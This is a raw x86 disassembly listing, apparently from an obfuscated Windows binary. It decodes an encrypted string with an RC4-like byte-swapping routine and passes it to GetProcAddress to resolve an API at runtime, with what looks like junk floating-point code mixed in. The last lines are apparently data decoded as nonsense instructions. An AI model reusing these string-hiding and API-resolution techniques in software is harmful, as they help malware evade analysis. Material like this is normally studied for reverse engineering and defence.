add ecx, dword [ebp - 0x3dfc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c04], edx
mov dword [ebp - 0x3c08], 0x37
mov eax, dword [ebp - 0x36d0]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3d7c], eax
mov ecx, dword [ebp - 0x3d7c]
shl ecx, 0
add ecx, dword [ebp - 0x3dfc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c0c], edx
mov dword [ebp - 0x3c10], 0xe3
mov eax, dword [ebp - 0x3c04]
sub eax, dword [ebp - 0x3c08]
mov dword [ebp - 0x3c14], eax
mov ecx, dword [ebp - 0x3c0c]
sub ecx, dword [ebp - 0x3c10]
mov dword [ebp - 0x3c18], ecx
mov edx, dword [ebp - 0x3c14]
shl edx, 4
mov dword [ebp - 0x3d78], edx
mov eax, dword [ebp - 0x3c18]
mov dword [ebp - 0x3d74], eax
mov ecx, dword [ebp - 0x3d78]
or ecx, dword [ebp - 0x3d74]
mov dword [ebp - 0x3d70], ecx
mov dl, byte [ebp - 0x3d70]
mov byte [ebp - 0x3632], dl
movzx eax, byte [ebp - 0x35be]
shl eax, 0
lea ecx, [ebp - 0xf9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3630], dl
movzx eax, byte [ebp - 0x3572]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x358c]
add eax, edx
mov byte [ebp - 0x358c], al
mov cl, byte [ebp - 0x3572]
add cl, 1
mov byte [ebp - 0x3572], cl
movzx edx, byte [ebp - 0x358c]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ebp - 0x35be]
shl ecx, 0
lea esi, [ebp - 0xf9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x358d]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [ebp - 0x358c]
shl edx, 0
lea esi, [ebp - 0xf9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ebp - 0x358d]
shl eax, 0
lea esi, [ebp - 0xf9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3572]
shl edx, 0
lea eax, [ebp - 0xf9c]
mov cl, byte [ebp - 0x3630]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3630]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3631]
add edx, ecx
mov byte [ebp - 0x3631], dl
movzx eax, byte [ebp - 0x3632]
movzx ecx, byte [ebp - 0x358c]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3572]
shl edx, 0
lea esi, [ebp - 0xf9c]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x358d]
shl edx, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35be]
shl ecx, 0
lea esi, [ebp - 0xf9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3631]
shl ecx, 0
lea esi, [ebp - 0xf9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x358d], al
mov al, byte [ebp - 0x3632]
mov byte [ebp - 0x35be], al
mov cl, byte [ebp - 0x358d]
mov byte [ebp - 0x36fc], cl
cmp dword [ebp - 0x36d0], 0
jbe 0x482d50
mov edx, dword [ebp - 0x36d0]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x634]
mov cl, byte [ebp - 0x36fc]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x36d0]
add edx, 1
mov dword [ebp - 0x36d0], edx
mov eax, dword [ebp - 0x38d8]
add eax, 1
mov dword [ebp - 0x38d8], eax
mov ecx, dword [ebp - 0x36d0]
shl ecx, 1
mov dword [ebp - 0x3d80], ecx
mov edx, dword [ebp - 0x3d80]
shl edx, 0
add edx, dword [ebp - 0x3dfc]
movzx eax, byte [edx]
mov dword [ebp - 0x3c04], eax
mov dword [ebp - 0x3c08], 0x37
mov ecx, dword [ebp - 0x36d0]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3d7c], ecx
mov edx, dword [ebp - 0x3d7c]
shl edx, 0
add edx, dword [ebp - 0x3dfc]
movzx eax, byte [edx]
mov dword [ebp - 0x3c0c], eax
mov dword [ebp - 0x3c10], 0xe3
mov ecx, dword [ebp - 0x3c04]
sub ecx, dword [ebp - 0x3c08]
mov dword [ebp - 0x3c14], ecx
mov edx, dword [ebp - 0x3c0c]
sub edx, dword [ebp - 0x3c10]
mov dword [ebp - 0x3c18], edx
mov eax, dword [ebp - 0x3c14]
shl eax, 4
mov dword [ebp - 0x3d78], eax
mov ecx, dword [ebp - 0x3c18]
mov dword [ebp - 0x3d74], ecx
mov edx, dword [ebp - 0x3d78]
or edx, dword [ebp - 0x3d74]
mov dword [ebp - 0x3d70], edx
mov al, byte [ebp - 0x3d70]
mov byte [ebp - 0x3632], al
movzx ecx, byte [ebp - 0x35be]
shl ecx, 0
lea edx, [ebp - 0xf9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3630], al
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x358c]
add ecx, eax
mov byte [ebp - 0x358c], cl
mov dl, byte [ebp - 0x3572]
add dl, 1
mov byte [ebp - 0x3572], dl
movzx eax, byte [ebp - 0x358c]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [ebp - 0x35be]
shl edx, 0
lea esi, [ebp - 0xf9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x358d]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ebp - 0x358c]
shl eax, 0
lea esi, [ebp - 0xf9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3572]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ebp - 0x358d]
shl ecx, 0
lea esi, [ebp - 0xf9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3572]
shl eax, 0
lea ecx, [ebp - 0xf9c]
mov dl, byte [ebp - 0x3630]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3630]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3631]
add eax, edx
mov byte [ebp - 0x3631], al
movzx ecx, byte [ebp - 0x3632]
movzx edx, byte [ebp - 0x358c]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3572]
shl eax, 0
lea esi, [ebp - 0xf9c]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x358d]
shl eax, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35be]
shl edx, 0
lea esi, [ebp - 0xf9c]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3631]
shl edx, 0
lea esi, [ebp - 0xf9c]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x358d], cl
mov cl, byte [ebp - 0x3632]
mov byte [ebp - 0x35be], cl
movsd xmm0, qword [0x9db098]
movsd qword [ebp - 0x57ec], xmm0
movsd xmm0, qword [0x9daf80]
movsd qword [ebp - 0x5ad8], xmm0
movsd xmm0, qword [0x9dad98]
movsd qword [ebp - 0x5380], xmm0
movsd xmm0, qword [0x9dab48]
movsd qword [ebp - 0x6204], xmm0
movsd xmm0, qword [0x9da8e8]
movsd qword [ebp - 0x6134], xmm0
movsd xmm0, qword [0x9da6a8]
movsd qword [ebp - 0x56e8], xmm0
movsd xmm0, qword [0x9da410]
movsd qword [ebp - 0x4d98], xmm0
movsd xmm0, qword [ebp - 0x56e8]
mulsd xmm0, qword [ebp - 0x4d98]
movsd qword [ebp - 0x56e8], xmm0
movsd xmm0, qword [ebp - 0x57ec]
mulsd xmm0, qword [ebp - 0x4d98]
movsd qword [ebp - 0x57ec], xmm0
movsd xmm0, qword [ebp - 0x56e8]
addsd xmm0, qword [ebp - 0x4d98]
movsd qword [ebp - 0x56e8], xmm0
movsd xmm0, qword [ebp - 0x5380]
mulsd xmm0, qword [ebp - 0x4d98]
movsd qword [ebp - 0x5380], xmm0
movsd xmm0, qword [ebp - 0x5380]
subsd xmm0, qword [ebp - 0x4d98]
movsd qword [ebp - 0x5380], xmm0
movsd xmm0, qword [ebp - 0x5380]
subsd xmm0, qword [ebp - 0x4d98]
movsd qword [ebp - 0x5380], xmm0
movsd xmm0, qword [ebp - 0x5ad8]
mulsd xmm0, qword [ebp - 0x4d98]
movsd qword [ebp - 0x5ad8], xmm0
movsd xmm0, qword [ebp - 0x57ec]
comisd xmm0, xmmword [ebp - 0x4d98]
jbe 0x4831c7
movsd xmm0, qword [ebp - 0x4d98]
subsd xmm0, qword [ebp - 0x5ad8]
movsd qword [ebp - 0x4d98], xmm0
mov dl, byte [ebp - 0x358d]
mov byte [ebp - 0x36fc], dl
movsd xmm0, qword [ebp - 0x5380]
addsd xmm0, qword [ebp - 0x6134]
movsd qword [ebp - 0x5380], xmm0
movsd xmm0, qword [ebp - 0x56e8]
addsd xmm0, qword [ebp - 0x57ec]
movsd qword [ebp - 0x56e8], xmm0
movsd xmm0, qword [ebp - 0x57ec]
addsd xmm0, qword [ebp - 0x5380]
movsd qword [ebp - 0x57ec], xmm0
movsd xmm0, qword [ebp - 0x5ad8]
subsd xmm0, qword [ebp - 0x6204]
movsd qword [ebp - 0x5ad8], xmm0
movsd xmm0, qword [ebp - 0x4d98]
addsd xmm0, qword [ebp - 0x5ad8]
movsd qword [ebp - 0x4d98], xmm0
movsd xmm0, qword [ebp - 0x57ec]
subsd xmm0, qword [ebp - 0x5380]
movsd qword [ebp - 0x57ec], xmm0
jmp 0x48326f
movsd xmm0, qword [ebp - 0x6204]
divsd xmm0, qword [ebp - 0x56e8]
movsd qword [ebp - 0x6204], xmm0
movsd xmm0, qword [ebp - 0x56e8]
subsd xmm0, qword [ebp - 0x57ec]
movsd qword [ebp - 0x56e8], xmm0
movsd xmm0, qword [ebp - 0x56e8]
divsd xmm0, qword [ebp - 0x57ec]
movsd qword [ebp - 0x56e8], xmm0
movsd xmm0, qword [ebp - 0x4d98]
addsd xmm0, qword [ebp - 0x5ad8]
movsd qword [ebp - 0x4d98], xmm0
movsd xmm0, qword [ebp - 0x4d98]
subsd xmm0, qword [ebp - 0x5ad8]
movsd qword [ebp - 0x4d98], xmm0
movsd xmm0, qword [ebp - 0x5380]
subsd xmm0, qword [ebp - 0x6134]
movsd qword [ebp - 0x5380], xmm0
movsd xmm0, qword [ebp - 0x6134]
addsd xmm0, qword [ebp - 0x4d98]
movsd qword [ebp - 0x6134], xmm0
cmp dword [ebp - 0x36d0], 0
jbe 0x483293
mov eax, dword [ebp - 0x36d0]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x634]
mov dl, byte [ebp - 0x36fc]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x38d8]
add eax, 4
mov dword [ebp - 0x38d8], eax
mov ecx, dword [ebp - 0x36d0]
add ecx, 1
mov dword [ebp - 0x4e20], ecx
jmp 0x4832c2
mov edx, dword [ebp - 0x4e20]
add edx, 1
mov dword [ebp - 0x4e20], edx
mov eax, dword [ebp - 0x4e20]
cmp eax, dword [ebp - 0x38d8]
jge 0x483589
mov ecx, dword [ebp - 0x36d0]
add ecx, 1
mov dword [ebp - 0x36d0], ecx
mov edx, dword [ebp - 0x36d0]
shl edx, 1
mov dword [ebp - 0x3d80], edx
mov eax, dword [ebp - 0x3d80]
shl eax, 0
add eax, dword [ebp - 0x3dfc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c04], ecx
mov dword [ebp - 0x3c08], 0x37
mov edx, dword [ebp - 0x36d0]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3d7c], edx
mov eax, dword [ebp - 0x3d7c]
shl eax, 0
add eax, dword [ebp - 0x3dfc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c0c], ecx
mov dword [ebp - 0x3c10], 0xe3
mov edx, dword [ebp - 0x3c04]
sub edx, dword [ebp - 0x3c08]
mov dword [ebp - 0x3c14], edx
mov eax, dword [ebp - 0x3c0c]
sub eax, dword [ebp - 0x3c10]
mov dword [ebp - 0x3c18], eax
mov ecx, dword [ebp - 0x3c14]
shl ecx, 4
mov dword [ebp - 0x3d78], ecx
mov edx, dword [ebp - 0x3c18]
mov dword [ebp - 0x3d74], edx
mov eax, dword [ebp - 0x3d78]
or eax, dword [ebp - 0x3d74]
mov dword [ebp - 0x3d70], eax
mov cl, byte [ebp - 0x3d70]
mov byte [ebp - 0x3632], cl
movzx edx, byte [ebp - 0x35be]
shl edx, 0
lea eax, [ebp - 0xf9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3630], cl
movzx edx, byte [ebp - 0x3572]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x358c]
add edx, ecx
mov byte [ebp - 0x358c], dl
mov al, byte [ebp - 0x3572]
add al, 1
mov byte [ebp - 0x3572], al
movzx ecx, byte [ebp - 0x358c]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ebp - 0x35be]
shl eax, 0
lea esi, [ebp - 0xf9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x358d]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ebp - 0x358c]
shl ecx, 0
lea esi, [ebp - 0xf9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3572]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [ebp - 0x358d]
shl edx, 0
lea esi, [ebp - 0xf9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea edx, [ebp - 0xf9c]
mov al, byte [ebp - 0x3630]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3630]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3631]
add ecx, eax
mov byte [ebp - 0x3631], cl
movzx edx, byte [ebp - 0x3632]
movzx eax, byte [ebp - 0x358c]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea esi, [ebp - 0xf9c]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x358d]
shl ecx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x35be]
shl eax, 0
lea esi, [ebp - 0xf9c]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3631]
shl eax, 0
lea esi, [ebp - 0xf9c]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x358d], dl
mov dl, byte [ebp - 0x3632]
mov byte [ebp - 0x35be], dl
mov al, byte [ebp - 0x358d]
mov byte [ebp - 0x36fc], al
cmp dword [ebp - 0x36d0], 0
jbe 0x483584
mov ecx, dword [ebp - 0x36d0]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x634]
mov al, byte [ebp - 0x36fc]
mov byte [ecx + edx], al
jmp 0x4832b3
mov ecx, dword [ebp - 0x38d8]
add ecx, 1
mov dword [ebp - 0x38d8], ecx
mov edx, dword [ebp - 0x36d0]
add edx, 1
mov dword [ebp - 0x36d0], edx
mov eax, dword [ebp - 0x38d8]
add eax, 1
mov dword [ebp - 0x38d8], eax
mov ecx, dword [ebp - 0x36d0]
shl ecx, 1
mov dword [ebp - 0x3d80], ecx
mov edx, dword [ebp - 0x3d80]
shl edx, 0
add edx, dword [ebp - 0x3dfc]
movzx eax, byte [edx]
mov dword [ebp - 0x3c04], eax
mov dword [ebp - 0x3c08], 0x37
mov ecx, dword [ebp - 0x36d0]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3d7c], ecx
mov edx, dword [ebp - 0x3d7c]
shl edx, 0
add edx, dword [ebp - 0x3dfc]
movzx eax, byte [edx]
mov dword [ebp - 0x3c0c], eax
mov dword [ebp - 0x3c10], 0xe3
mov ecx, dword [ebp - 0x3c04]
sub ecx, dword [ebp - 0x3c08]
mov dword [ebp - 0x3c14], ecx
mov edx, dword [ebp - 0x3c0c]
sub edx, dword [ebp - 0x3c10]
mov dword [ebp - 0x3c18], edx
mov eax, dword [ebp - 0x3c14]
shl eax, 4
mov dword [ebp - 0x3d78], eax
mov ecx, dword [ebp - 0x3c18]
mov dword [ebp - 0x3d74], ecx
mov edx, dword [ebp - 0x3d78]
or edx, dword [ebp - 0x3d74]
mov dword [ebp - 0x3d70], edx
mov al, byte [ebp - 0x3d70]
mov byte [ebp - 0x3632], al
movzx ecx, byte [ebp - 0x35be]
shl ecx, 0
lea edx, [ebp - 0xf9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3630], al
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x358c]
add ecx, eax
mov byte [ebp - 0x358c], cl
mov dl, byte [ebp - 0x3572]
add dl, 1
mov byte [ebp - 0x3572], dl
movzx eax, byte [ebp - 0x358c]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [ebp - 0x35be]
shl edx, 0
lea esi, [ebp - 0xf9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x358d]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ebp - 0x358c]
shl eax, 0
lea esi, [ebp - 0xf9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3572]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ebp - 0x358d]
shl ecx, 0
lea esi, [ebp - 0xf9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3572]
shl eax, 0
lea ecx, [ebp - 0xf9c]
mov dl, byte [ebp - 0x3630]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3630]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3631]
add eax, edx
mov byte [ebp - 0x3631], al
movzx ecx, byte [ebp - 0x3632]
movzx edx, byte [ebp - 0x358c]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3572]
shl eax, 0
lea esi, [ebp - 0xf9c]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x358d]
shl eax, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35be]
shl edx, 0
lea esi, [ebp - 0xf9c]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3631]
shl edx, 0
lea esi, [ebp - 0xf9c]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x358d], cl
mov cl, byte [ebp - 0x3632]
mov byte [ebp - 0x35be], cl
mov dl, byte [ebp - 0x358d]
mov byte [ebp - 0x36fc], dl
cmp dword [ebp - 0x36d0], 0
jbe 0x483858
mov eax, dword [ebp - 0x36d0]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x634]
mov dl, byte [ebp - 0x36fc]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x36d0]
add eax, 1
mov dword [ebp - 0x36d0], eax
mov ecx, dword [ebp - 0x38d8]
add ecx, 1
mov dword [ebp - 0x38d8], ecx
mov edx, dword [ebp - 0x36d0]
shl edx, 1
mov dword [ebp - 0x3d80], edx
mov eax, dword [ebp - 0x3d80]
shl eax, 0
add eax, dword [ebp - 0x3dfc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c04], ecx
mov dword [ebp - 0x3c08], 0x37
mov edx, dword [ebp - 0x36d0]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3d7c], edx
mov eax, dword [ebp - 0x3d7c]
shl eax, 0
add eax, dword [ebp - 0x3dfc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c0c], ecx
mov dword [ebp - 0x3c10], 0xe3
mov edx, dword [ebp - 0x3c04]
sub edx, dword [ebp - 0x3c08]
mov dword [ebp - 0x3c14], edx
mov eax, dword [ebp - 0x3c0c]
sub eax, dword [ebp - 0x3c10]
mov dword [ebp - 0x3c18], eax
mov ecx, dword [ebp - 0x3c14]
shl ecx, 4
mov dword [ebp - 0x3d78], ecx
mov edx, dword [ebp - 0x3c18]
mov dword [ebp - 0x3d74], edx
mov eax, dword [ebp - 0x3d78]
or eax, dword [ebp - 0x3d74]
mov dword [ebp - 0x3d70], eax
mov cl, byte [ebp - 0x3d70]
mov byte [ebp - 0x3632], cl
movzx edx, byte [ebp - 0x35be]
shl edx, 0
lea eax, [ebp - 0xf9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3630], cl
movzx edx, byte [ebp - 0x3572]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x358c]
add edx, ecx
mov byte [ebp - 0x358c], dl
mov al, byte [ebp - 0x3572]
add al, 1
mov byte [ebp - 0x3572], al
movzx ecx, byte [ebp - 0x358c]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ebp - 0x35be]
shl eax, 0
lea esi, [ebp - 0xf9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x358d]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ebp - 0x358c]
shl ecx, 0
lea esi, [ebp - 0xf9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3572]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [ebp - 0x358d]
shl edx, 0
lea esi, [ebp - 0xf9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea edx, [ebp - 0xf9c]
mov al, byte [ebp - 0x3630]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3630]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3631]
add ecx, eax
mov byte [ebp - 0x3631], cl
movzx edx, byte [ebp - 0x3632]
movzx eax, byte [ebp - 0x358c]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea esi, [ebp - 0xf9c]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x358d]
shl ecx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x35be]
shl eax, 0
lea esi, [ebp - 0xf9c]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3631]
shl eax, 0
lea esi, [ebp - 0xf9c]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x358d], dl
mov dl, byte [ebp - 0x3632]
mov byte [ebp - 0x35be], dl
mov al, byte [ebp - 0x358d]
mov byte [ebp - 0x36fc], al
cmp dword [ebp - 0x36d0], 0
jbe 0x483b17
mov ecx, dword [ebp - 0x36d0]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x634]
mov al, byte [ebp - 0x36fc]
mov byte [ecx + edx], al
mov ecx, 1
imul edx, ecx, 0xe
mov dword [ebp - 0x5f54], edx
cmp dword [ebp - 0x5f54], 0xf
jae 0x483b30
jmp 0x483b35
call fcn.009b6d77
lea eax, [ebp - 0x634]
add eax, dword [ebp - 0x5f54]
mov byte [eax], 0
jmp 0x483b97
mov dword [ebp - 0x36d0], 0
jmp 0x483b61
mov ecx, dword [ebp - 0x36d0]
add ecx, 1
mov dword [ebp - 0x36d0], ecx
cmp dword [ebp - 0x36d0], 0xf
jae 0x483b97
mov edx, dword [ebp - 0x36d0]
mov dword [ebp - 0x5f50], edx
cmp dword [ebp - 0x5f50], 0xf
jae 0x483b81
jmp 0x483b86
call fcn.009b6d77
lea eax, [ebp - 0x634]
add eax, dword [ebp - 0x5f50]
mov byte [eax], 0
jmp 0x483b52
lea ecx, [ebp - 0x634]
push ecx
mov edx, dword [ebp - 0x37e4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa06854], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x56f0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5378], xmm0
mov dword [ebp - 0x36cc], 0
mov dword [ebp - 0x4e24], 0
mov dword [ebp - 0x58e0], 0
mov dword [ebp - 0x5418], 1
mov dword [ebp - 0x48ac], 0
mov dword [ebp - 0x5d34], 0
mov dword [ebp - 0x38e0], 0
mov dword [ebp - 0x3d6c], 0
mov dword [ebp - 0x3c24], 0
mov dword [ebp - 0x3c28], 0
mov dword [ebp - 0x3d68], 0
mov dword [ebp - 0x3c2c], 0
mov dword [ebp - 0x3c30], 0
mov dword [ebp - 0x3c34], 0
mov dword [ebp - 0x3c38], 0
mov dword [ebp - 0x3d64], 0
mov dword [ebp - 0x3d60], 0
mov dword [ebp - 0x3d5c], 0
mov dword [ebp - 0x4e28], 0
mov byte [ebp - 0x3573], 0
mov byte [ebp - 0x358e], 0
mov byte [ebp - 0x3633], 0
mov byte [ebp - 0x358f], 0
mov byte [ebp - 0x35bf], 0
mov byte [ebp - 0x3775], 0
mov byte [ebp - 0x41a1], 0
mov byte [ebp - 0x3635], 0
mov byte [ebp - 0x362c], 0
mov byte [ebp - 0x36fb], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x56f0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5378], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5378], xmm0
jmp 0x483d05
movsd xmm0, qword [ebp - 0x5378]
addsd xmm0, qword [0x9d9050]
movsd qword [ebp - 0x5378], xmm0
movsd xmm0, qword [0x9db228]
comisd xmm0, xmmword [ebp - 0x5378]
jbe 0x483db6
movsd xmm0, qword [0x9da2c8]
mulsd xmm0, qword [ebp - 0x5378]
mulsd xmm0, qword [ebp - 0x5378]
movsd xmm1, qword [ebp - 0x5378]
mulsd xmm1, qword [ebp - 0x5378]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9f00]
mulsd xmm1, qword [ebp - 0x5378]
mulsd xmm1, qword [ebp - 0x5378]
addsd xmm1, qword [0x9da020]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x56f0]
movsd qword [ebp - 0x56f0], xmm0
movsd xmm0, qword [ebp - 0x56f0]
comisd xmm0, xmmword [0x9da1b0]
jbe 0x483db1
movsd xmm0, qword [0x9d9df8]
mulsd xmm0, qword [ebp - 0x5378]
movsd xmm1, qword [ebp - 0x56f0]
subsd xmm1, xmm0
movsd qword [ebp - 0x56f0], xmm1
jmp 0x483ced
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x56f0]
jbe 0x483dfb
out 0x65, al
int1
arpl dx, si
arpl bp, si
out 0x5b, al
in al, dx
arpl ax, si
in ax, dx
in eax, dx
push 0x65ee5beb
out 0x65, al
pop edx
call 0x31769a47
pop eax
pop ebp
dec ebp
imul edx, dword [ebx + 0x4e], 0x24
and al, 0x63
xor dword [ecx + 0x63], eax
xor al, 0x76
